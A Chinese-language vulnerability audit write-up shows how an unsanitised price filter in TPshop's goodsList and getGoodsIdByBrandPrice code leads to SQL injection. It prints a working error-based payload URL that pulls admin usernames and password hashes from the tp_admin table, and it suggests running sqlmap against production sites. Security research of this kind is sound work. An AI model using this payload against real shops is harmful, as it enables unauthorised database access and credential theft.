0x00 前言:


首先本地搭建环境,我所使用的是Windows PHPstudy集成环境。使用起来非常方便。特别是审计的时候。可以任意切换PHP版本。

0x01 CMS简介:


TPshop开源商城系统( Thinkphp shop的简称 ),是深圳搜豹网络有限公司开发的一套多商家模式的商城系统。适合企业及个人快速构建个性化网上商城。基于ThinkPHP MVC构架开发的跨平台开源软件,设计得非常灵活,具有模块化架构体系和丰富的功能,易于与第三方应用系统无缝集成。

0x02 正文:


  1. 漏洞所在位置:/application/home/controller/Goods.php
  2. 漏洞所在行数:20-23
  3. 漏洞影响程序:B2C、微商城分销、多商家(B2B2C)。估计开发者为了省事代码都是搬过去的。
  1. <?php
  2. /**
  3. * 商品列表页
  4. */
  5. public function goodsList(){
  6. $key = md5($_SERVER['REQUEST_URI'].I('start_price').'_'.I('end_price'));
  7. $html = S($key);
  8. if(!empty($html))
  9. {
  10. return $html;
  11. }
  12. $filter_param = array(); // 帅选数组
  13. $id = I('get.id/d',1); // 当前分类id
  14. $brand_id = I('get.brand_id',0);
  15. $spec = I('get.spec',0); // 规格
  16. $attr = I('get.attr',''); // 属性
  17. $sort = I('get.sort','goods_id'); // 排序
  18. $sort_asc = I('get.sort_asc','asc'); // 排序
  19. $price = I('get.price',''); // 价钱
  20. $start_price = trim(I('post.start_price','0')); // 输入框价钱
  21. $end_price = trim(I('post.end_price','0')); // 输入框价钱
  22. if($start_price && $end_price) $price = $start_price.'-'.$end_price; // 如果输入框有价钱 则使用输入框的价钱
  23. $filter_param['id'] = $id; //加入帅选条件中
  24. $brand_id && ($filter_param['brand_id'] = $brand_id); //加入帅选条件中
  25. $spec && ($filter_param['spec'] = $spec); //加入帅选条件中
  26. $attr && ($filter_param['attr'] = $attr); //加入帅选条件中
  27. $price && ($filter_param['price'] = $price); //加入帅选条件中
  28. $goodsLogic = new GoodsLogic(); // 前台商品操作逻辑类
  29. // 分类菜单显示
  30. $goodsCate = M('GoodsCategory')->where("id", $id)->find();// 当前分类
  31. //($goodsCate['level'] == 1) && header('Location:'.U('Home/Channel/index',array('cat_id'=>$id))); //一级分类跳转至大分类馆
  32. $cateArr = $goodsLogic->get_goods_cate($goodsCate);
  33. // 帅选 品牌 规格 属性 价格
  34. $cat_id_arr = getCatGrandson ($id);
  35. $filter_goods_id = M('goods')->where(['is_on_sale'=>1,'cat_id'=>['in',implode(',', $cat_id_arr)]])->cache(true)->getField("goods_id",true);
  36. // 过滤帅选的结果集里面找商品
  37. if($brand_id || $price)// 品牌或者价格
  38. {
  39. $goods_id_1 = $goodsLogic->getGoodsIdByBrandPrice($brand_id,$price); // 根据 品牌 或者 价格范围 查找所有商品id
  40. $filter_goods_id = array_intersect($filter_goods_id,$goods_id_1); // 获取多个帅选条件的结果 的交集
  41. }
  42. /*...此处开始省略...*/
  43. }

这里我就举个例子说一下,其实有非常多的地方都是存在一样的问题的。不过涉及到一些框架自带的安全性我这里也说不清楚,大家方便可以自行研究研究,我们这里说下20-23行接收的price参数。I()函数ThinkPHP5版本默认的变量修饰符是/s。可以看到上面id使用的是:参数/d$price它这里是没有使用的,那么修饰符默认则为s。默认修饰符s的话基本上可以忽略掉。详情如下表所示:

修饰符 作用
s 强制转换为字符串类型
d 强制转换为整型类型
b 强制转换为布尔类型
a 强制转换为数组类型
f 强制转换为浮点类型

我们来跟踪$price在下面哪个地方使用了这个参数,可以看到第42行就已经判断了如果$brand_id或者$price都为真的话就进入下面的代码块。

看到44行代码:

  1. $goods_id_1 = $goodsLogic->getGoodsIdByBrandPrice($brand_id,$price);

上述代码是调用了GoodsLogic类里面的getGoodsIdByBrandPrice方法并且将$price给传入了进去。跟踪至getGoodsIdByBrandPrice方法里面看看它做了哪些操作。

该类所在文件:/WWW/application/common/logic/GoodsLogic.php

  1. <?php
  2. /**
  3. * @param $brand_id|帅选品牌id
  4. * @param $price|帅选价格
  5. * @return array|mixed
  6. */
  7. function getGoodsIdByBrandPrice($brand_id, $price)
  8. {
  9. if (empty($brand_id) && empty($price))
  10. return array();
  11. $brand_select_goods=$price_select_goods=array();
  12. if ($brand_id) // 品牌查询
  13. {
  14. $brand_id_arr = explode('_', $brand_id);
  15. $brand_select_goods = M('goods')->whereIn('brand_id',$brand_id_arr,'or')->getField('goods_id', true);
  16. }
  17. if ($price)// 价格查询
  18. {
  19. $price = explode('-', $price);
  20. $price_where=" shop_price >= $price[0] and shop_price <= $price[1] ";
  21. $price_select_goods = M('goods')->where($price_where)->getField('goods_id', true);
  22. }
  23. if($brand_select_goods && $price_select_goods)
  24. $arr = array_intersect($brand_select_goods,$price_select_goods);
  25. else
  26. $arr = array_merge($brand_select_goods,$price_select_goods);
  27. return $arr ? $arr : array();
  28. }

直接看17-22行代码,主要的地方就是这5行代码。这里做的操作用口语化来表示就是将$price传过来的字符串转换成数组(这里是以-分割)。由此可见该价格是一个区间值,比如1000-9000之间。最后$price则成了一个数组 $price = array(0=>1000,1=>9000);
到了20行就直接将值丢进了SQL语句中,也未做任何处理。21行则直接将SQL语句执行。由此可见注入的产生是妥妥的了。
实际操作操作。
http://www.bugsafe.cn/index.php/home/Goods/goodsList/id/123/price/1000-9000 and exp(~(select * from( SELECT distinct concat(0x23,user_name,0x3a,password,0x23) FROM tp_admin limit 0,1 )a))
tpshop.png

最后语句:SELECT goods_id FROM tp_goods WHERE ( shop_price >= 1000 and shop_price <= 9000 and exp(~(select * from( SELECT distinct concat(0x23,user_name,0x3a,password,0x23) FROM tp_admin limit 0,1 )a)) )

这套程序中我本地的环境使用不了XPATH。但是在其它的环境中,是可以成功调用滴。随机应变用下就好了。

注:如果目标站未开启调试模式(一般正式上线都不会开启)那么直接使用payload的话是直接跳到404页面的。这个时候就要拿出大SQLMAP出来跑了。

PS:本着以交流分享。如果有好的方法或者思路以及上文讲述不正确的地方欢迎指出。谢谢!如果有什么语句不通的话望指出。可能是在写文章的时候没太注意。